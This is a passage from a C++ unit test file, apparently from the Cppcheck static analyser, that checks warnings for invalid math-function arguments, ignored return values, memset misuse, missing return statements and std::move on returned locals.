errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << asin(1.1) << std::endl;\\n\"\n \" std::cout << asinf(1.1) << std::endl;\\n\"\n \" std::cout << asinl(1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid asin() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid asinf() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid asinl() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << asin(-1.1) << std::endl;\\n\"\n \" std::cout << asinf(-1.1) << std::endl;\\n\"\n \" std::cout << asinl(-1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (error) Invalid asin() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:27]: (error) Invalid asinf() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:27]: (error) Invalid asinl() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n }\n\n void mathfunctionCall_pow() {\n // pow, powf, powl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << pow(0,-10) << std::endl;\\n\"\n \" std::cout << powf(0,-10) << std::endl;\\n\"\n \" std::cout << powl(0,-10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Passing values 0 and -10 to pow() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing values 0 and -10 to powf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing values 0 and -10 to powl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << pow(0,10) << std::endl;\\n\"\n \" std::cout << powf(0,10) << std::endl;\\n\"\n \" std::cout << powl(0,10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_atan2() {\n // atan2\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << atan2(1,1) ;\\n\"\n \" std::cout << atan2(-1,-1) ;\\n\"\n \" std::cout << atan2(0.1,1) ;\\n\"\n \" std::cout << atan2(0.0001,100) ;\\n\"\n \" std::cout << atan2(0.0,1e-1) ;\\n\"\n \" std::cout << atan2(1.0E-1,-3) ;\\n\"\n \" std::cout << atan2(-1.0E-1,+2) ;\\n\"\n \" std::cout << atan2(+1.0E-1,0) ;\\n\"\n \" std::cout << atan2(0.1E-1,3) ;\\n\"\n \" std::cout << atan2(+0.1E-1,1) ;\\n\"\n \" std::cout << atan2(-0.1E-1,8) ;\\n\"\n \" std::cout << atan2f(1,1) ;\\n\"\n \" std::cout << atan2f(-1,-1) ;\\n\"\n \" std::cout << atan2f(0.1,1) ;\\n\"\n \" std::cout << atan2f(0.0001,100) ;\\n\"\n \" std::cout << atan2f(0.0,1e-1) ;\\n\"\n \" std::cout << atan2f(1.0E-1,-3) ;\\n\"\n \" std::cout << atan2f(-1.0E-1,+2) ;\\n\"\n \" std::cout << atan2f(+1.0E-1,0) ;\\n\"\n \" std::cout << atan2f(0.1E-1,3) ;\\n\"\n \" std::cout << atan2f(+0.1E-1,1) ;\\n\"\n \" std::cout << atan2f(-0.1E-1,8) ;\\n\"\n \" std::cout << atan2l(1,1) ;\\n\"\n \" std::cout << atan2l(-1,-1) ;\\n\"\n \" std::cout << atan2l(0.1,1) ;\\n\"\n \" std::cout << atan2l(0.0001,100) ;\\n\"\n \" std::cout << atan2l(0.0,1e-1) ;\\n\"\n \" std::cout << atan2l(1.0E-1,-3) ;\\n\"\n \" std::cout << atan2l(-1.0E-1,+2) ;\\n\"\n \" std::cout << atan2l(+1.0E-1,0) ;\\n\"\n \" std::cout << atan2l(0.1E-1,3) ;\\n\"\n \" std::cout << atan2l(+0.1E-1,1) ;\\n\"\n \" std::cout << atan2l(-0.1E-1,8) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << atan2(0,0) << std::endl;\\n\"\n \" std::cout << atan2f(0,0) << std::endl;\\n\"\n \" std::cout << atan2l(0,0) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Passing values 0 and 0 to atan2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing values 0 and 0 to atan2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing values 0 and 0 to atan2l() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n }\n\n void mathfunctionCall_fmod() {\n // fmod, fmodl, fmodf\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << fmod(1.0,0) << std::endl;\\n\"\n \" std::cout << fmodf(1.0,0) << std::endl;\\n\"\n \" std::cout << fmodl(1.0,0) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (error) Invalid fmod() argument nr 2. The value is 0 but the valid values are '!0.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:29]: (error) Invalid fmodf() argument nr 2. The value is 0 but the valid values are '!0.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:29]: (error) Invalid fmodl() argument nr 2. The value is 0 but the valid values are '!0.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing values 1.0 and 0 to fmod() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing values 1.0 and 0 to fmodf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing values 1.0 and 0 to fmodl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << fmod(1.0,1) << std::endl;\\n\"\n \" std::cout << fmodf(1.0,1) << std::endl;\\n\"\n \" std::cout << fmodl(1.0,1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_precision() {\n check(\"void foo() {\\n\"\n \" print(exp(x) - 1);\\n\"\n \" print(log(1 + x));\\n\"\n \" print(1 - erf(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Expression 'exp(x) - 1' can be replaced by 'expm1(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:3:11]: (style) Expression 'log(1 + x)' can be replaced by 'log1p(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:4:11]: (style) Expression '1 - erf(x)' can be replaced by 'erfc(x)' to avoid loss of precision. [unpreciseMathCall]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" print(exp(x) - 1.0);\\n\"\n \" print(log(1.0 + x));\\n\"\n \" print(1.0 - erf(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Expression 'exp(x) - 1' can be replaced by 'expm1(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:3:11]: (style) Expression 'log(1 + x)' can be replaced by 'log1p(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:4:12]: (style) Expression '1 - erf(x)' can be replaced by 'erfc(x)' to avoid loss of precision. [unpreciseMathCall]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" print(exp(3 + x*f(a)) - 1);\\n\"\n \" print(log(x*4 + 1));\\n\"\n \" print(1 - erf(34*x + f(x) - c));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Expression 'exp(x) - 1' can be replaced by 'expm1(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:3:11]: (style) Expression 'log(1 + x)' can be replaced by 'log1p(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:4:11]: (style) Expression '1 - erf(x)' can be replaced by 'erfc(x)' to avoid loss of precision. [unpreciseMathCall]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" print(2*exp(x) - 1);\\n\"\n \" print(1 - erf(x)/2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkIgnoredReturnValue() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings2 = settingsBuilder().severity(Severity::warning).libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Return value of function mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" foo::mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:8]: (warning) Return value of function foo::mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" foo x;\\n\"\n \" x.mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Return value of function x.mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"bool mystrcmp(char* a, char* b);\\n\" // cppcheck sees a custom strcmp definition, but it returns a value. Assume it is the one specified in the library.\n \"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Return value of function mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void mystrcmp(char* a, char* b);\\n\" // cppcheck sees a custom strcmp definition which returns void!\n \"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" class mystrcmp { mystrcmp() {} };\\n\" // strcmp is a constructor definition here\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return foo::mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if(mystrcmp(a, b));\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" bool b = mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6194\n check(\"void foo() {\\n\"\n \" MyStrCmp mystrcmp(x, y);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6197\n check(\"void foo() {\\n\"\n \" abc::def.mystrcmp(a,b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6233\n check(\"int main() {\\n\"\n \" auto lambda = [](double value) {\\n\"\n \" double rounded = floor(value + 0.5);\\n\"\n \" printf(\\\"Rounded value = %f\\\\n\\\", rounded);\\n\"\n \" };\\n\"\n \" lambda(13.3);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6669\n check(\"void foo(size_t size) {\\n\"\n \" void * res{malloc(size)};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7447\n check(\"void foo() {\\n\"\n \" int x{mystrcmp(a,b)};\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7905\n check(\"void foo() {\\n\"\n \" int x({mystrcmp(a,b)});\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // don't crash\n \" DEBUG(123)(mystrcmp(a,b))(fd);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n check(\"struct teststruct {\\n\"\n \" int testfunc1() __attribute__ ((warn_unused_result)) { return 1; }\\n\"\n \" [[nodiscard]] int testfunc2() { return 1; }\\n\"\n \" void foo() { testfunc1(); testfunc2(); }\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" teststruct TestStruct1;\\n\"\n \" TestStruct1.testfunc1();\\n\"\n \" TestStruct1.testfunc2();\\n\"\n \" return 0;\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Return value of function testfunc1() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:4:31]: (warning) Return value of function testfunc2() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:8:17]: (warning) Return value of function TestStruct1.testfunc1() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:9:17]: (warning) Return value of function TestStruct1.testfunc2() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n // #9006\n check(\"template uint8_t b(std::tuple d) {\\n\"\n \" std::tuple c{std::move(d)};\\n\"\n \" return std::get<0>(c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int x; };\\n\"\n \"template \\n\"\n \"A f(int x, Ts... xs) {\\n\"\n \" return {std::move(x), static_cast(xs)...};\\n\"\n \"}\\n\"\n \"A g() { return f(1); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8412 - unused operator result\n check(\"void foo() {\\n\"\n \" !mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:4]: (warning) Return value of function mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" delete *v.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int __attribute__((pure)) p_foo(int);\\n\" // #12697\n \"int __attribute__((const)) c_foo(int);\\n\"\n \"void f() {\\n\"\n \" p_foo(0);\\n\"\n \" c_foo(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) Return value of function p_foo() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:5:5]: (warning) Return value of function c_foo() is not used. [ignoredReturnValue]\\n\",\n errout_str());\n }\n\n void checkIgnoredErrorCode() {\n const char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings2 = settingsBuilder().severity(Severity::style).libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) Error code from the return value of function mystrcmp() is not used. [ignoredReturnErrorCode]\\n\", errout_str());\n }\n\n void memsetZeroBytes() {\n check(\"void f() {\\n\"\n \" memset(p, 10, 0x0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) memset() called to fill 0 bytes. [memsetZeroBytes]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" memset(p, sizeof(p), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) memset() called to fill 0 bytes. [memsetZeroBytes]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" memset(p, sizeof(p), i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6269 false positives in case of overloaded standard library functions\n check(\"class c {\\n\"\n \" void memset( int i );\\n\"\n \" void f( void ) {\\n\"\n \" memset( 0 );\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7285\n check(\"void f() {\\n\"\n \" memset(&tm, sizeof(tm), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) memset() called to fill 0 bytes. [memsetZeroBytes]\\n\", errout_str());\n\n }\n\n void memsetInvalid2ndParam() {\n check(\"void f() {\\n\"\n \" int* is = new int[10];\\n\"\n \" memset(is, 1.0f, 40);\\n\"\n \" int* is2 = new int[10];\\n\"\n \" memset(is2, 0.1f, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (portability) The 2nd memset() argument '1.0f' is a float, its representation is implementation defined. [memsetFloat]\\n\"\n \"[test.cpp:5:18]: (portability) The 2nd memset() argument '0.1f' is a float, its representation is implementation defined. [memsetFloat]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* is = new int[10];\\n\"\n \" float g = computeG();\\n\"\n \" memset(is, g, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (portability) The 2nd memset() argument 'g' is a float, its representation is implementation defined. [memsetFloat]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* is = new int[10];\\n\"\n \" memset(is, 0.0f, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // FP\n \" float x = 2.3f;\\n\"\n \" memset(a, (x?64:0), 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short ss[] = {1, 2};\\n\"\n \" memset(ss, 256, 4);\\n\"\n \" short ss2[2];\\n\"\n \" memset(ss2, -129, 4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (warning) The 2nd memset() argument '256' doesn't fit into an 'unsigned char'. [memsetValueOutOfRange]\\n\"\n \"[test.cpp:5:18]: (warning) The 2nd memset() argument '-129' doesn't fit into an 'unsigned char'. [memsetValueOutOfRange]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int is[10];\\n\"\n \" memset(is, 0xEE, 40);\\n\"\n \" unsigned char* cs = malloc(256);\\n\"\n \" memset(cs, -1, 256);\\n\"\n \" short* ss[30];\\n\"\n \" memset(ss, -128, 60);\\n\"\n \" char cs2[30];\\n\"\n \" memset(cs2, 255, 30);\\n\"\n \" char cs3[30];\\n\"\n \" memset(cs3, 0, 30);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int is[10];\\n\"\n \" const int i = g();\\n\"\n \" memset(is, 1.0f + i, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (portability) The 2nd memset() argument '1.0f+i' is a float, its representation is implementation defined. [memsetFloat]\\n\", errout_str());\n }\n\n void checkMissingReturn1() {\n check(\"int f() {}\");\n ASSERT_EQUALS(\"[test.cpp:1:10]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n {\n const char code[] = \"int main(void) {}\";\n {\n const Settings s = settingsBuilder().c(Standards::C89).build();\n\n check(code, dinit(CheckOptions, $.cpp = false, $.s = &s)); // c code (c89)\n ASSERT_EQUALS(\"[test.c:1:17]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n }\n\n {\n const Settings s = settingsBuilder().c(Standards::C99).build();\n check(code, dinit(CheckOptions, $.cpp = false, $.s = &s)); // c code (c99)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(code, dinit(CheckOptions, $.s = &s)); // c++ code\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n check(\"F(A,B) { x=1; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"auto foo4() -> void {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void STDCALL foo() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void operator=(int y) { x=y; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \"back:\\n\"\n \" return 0;\\n\"\n \"ng:\\n\"\n \" x=y;\\n\"\n \" goto back;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // unreachable code..\n check(\"int foo(int x) {\\n\"\n \" return 1;\\n\"\n \" (void)x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int x) {\\n\"\n \" if (x) goto out;\\n\"\n \" return 1;\\n\"\n \"out:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n // switch\n check(\"int f() {\\n\"\n \" switch (x) {\\n\"\n \" case 1: break;\\n\" // <- error\n \" case 2: return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" switch (x) {\\n\"\n \" case 1: return 2; break;\\n\"\n \" default: return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool test(unsigned char v1, int v2) {\\n\"\n \" switch (v1) {\\n\"\n \" case 0:\\n\"\n \" switch (v2) {\\n\"\n \" case 48000:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \" default:\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // if/else\n check(\"int f(int x) {\\n\"\n \" if (x) {\\n\"\n \" return 1;\\n\"\n \" }\\n\" // <- error (missing else)\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" if (x) {\\n\"\n \" ;\\n\" // <- error\n \" } else {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" if (!0) {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" if (!0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n // loop\n check(\"int f(int x) {\\n\"\n \" while (1) {\\n\"\n \" dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // return {..}\n check(\"std::pair typeDecl(int tok) {\\n\"\n \" if (!tok)\\n\"\n \" return {};\\n\"\n \" else\\n\"\n \" return {1, 2};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // noreturn function\n check(\"int f(int x) { exit(0); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { assert(0); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { if (x) return 1; else return bar({1}, {}); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"auto f() -> void {}\"); // #10342\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S1 {\\n\" // #7433\n \" S1& operator=(const S1& r) { if (this != &r) { i = r.i; } }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct S2 {\\n\"\n \" S2& operator=(const S2& s) { if (this != &s) { j = s.j; } return *this; }\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"struct S3 {\\n\"\n \" S3& operator=(const S3& t) { if (this != &t) { k = t.k; return *this; } }\\n\"\n \" int k;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:61]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\"\n \"[test.cpp:10:75]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n // #11171\n check(\"std::enable_if_t f() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::enable_if_t f() {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:51]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template std::enable_if_t{}, int> f(T) {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:71]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template std::enable_if_t{}> f(T) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typename std::enable_if::type f() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typename std::enable_if::type f() {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:64]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template typename std::enable_if{}, int>::type f(T) {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:84]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template typename std::enable_if{}>::type f(T) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" [[noreturn]] void f();\\n\"\n \" int g() { this->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { [[noreturn]] void f(); };\\n\"\n \"int g(S& s) { s.f(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn2() { // #11798\n check(\"int f(bool const a) {\\n\"\n \" switch (a) {\\n\"\n \" case true:\\n\"\n \" return 1;\\n\"\n \" case false:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int main(int argc, char* argv[])\\n\"\n \"{\\n\"\n \" auto const b= f(true);\\n\"\n \" auto const c= f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn3() {\n check(\"enum Enum {\\n\"\n \" A,\\n\"\n \" B,\\n\"\n \" C,\\n\"\n \"};\\n\"\n \"int f(Enum e) {\\n\"\n \" switch (e) {\\n\"\n \" case A:\\n\"\n \" return 1;\\n\"\n \" case B:\\n\"\n \" return 2;\\n\"\n \" case C:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn4() {\n check(\"enum Enum {\\n\"\n \" A,\\n\"\n \" B,\\n\"\n \" C,\\n\"\n \"};\\n\"\n \"int f(Enum e) {\\n\"\n \" switch (e) {\\n\"\n \" case A:\\n\"\n \" return 1;\\n\"\n \" case B:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n }\n\n void checkMissingReturn5() {\n check(\"enum Enum {\\n\"\n \" A,\\n\"\n \" B,\\n\"\n \" C,\\n\"\n \"};\\n\"\n \"int f(Enum e, bool b) {\\n\"\n \" switch (e) {\\n\"\n \" case A:\\n\"\n \" return 1;\\n\"\n \" case B:\\n\"\n \" return 2;\\n\"\n \" case C:\\n\"\n \" switch (b) {\\n\"\n \" case true:\\n\"\n \" return 3;\\n\"\n \" case false:\\n\"\n \" return 4;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn6() {// #13180\n check(\"int foo(void)\\n\"\n \"{\\n\"\n \" i = readData();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n }\n\n // NRVO check\n void returnLocalStdMove1() {\n check(\"struct A{}; A f() { A var; return std::move(var); }\");\n ASSERT_EQUALS(\"[test.cpp:1:45]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n // RVO, C++03 ctor style\n void returnLocalStdMove2() {\n check(\"struct A{}; A f() { return std::move( A() ); }\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n // RVO, new ctor style\n void returnLocalStdMove3() {\n check(\"struct A{}; A f() { return std::move(A{}); }\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n // Function argument\n void returnLocalStdMove4() {\n check(\"struct A{}; A f(A a) { return 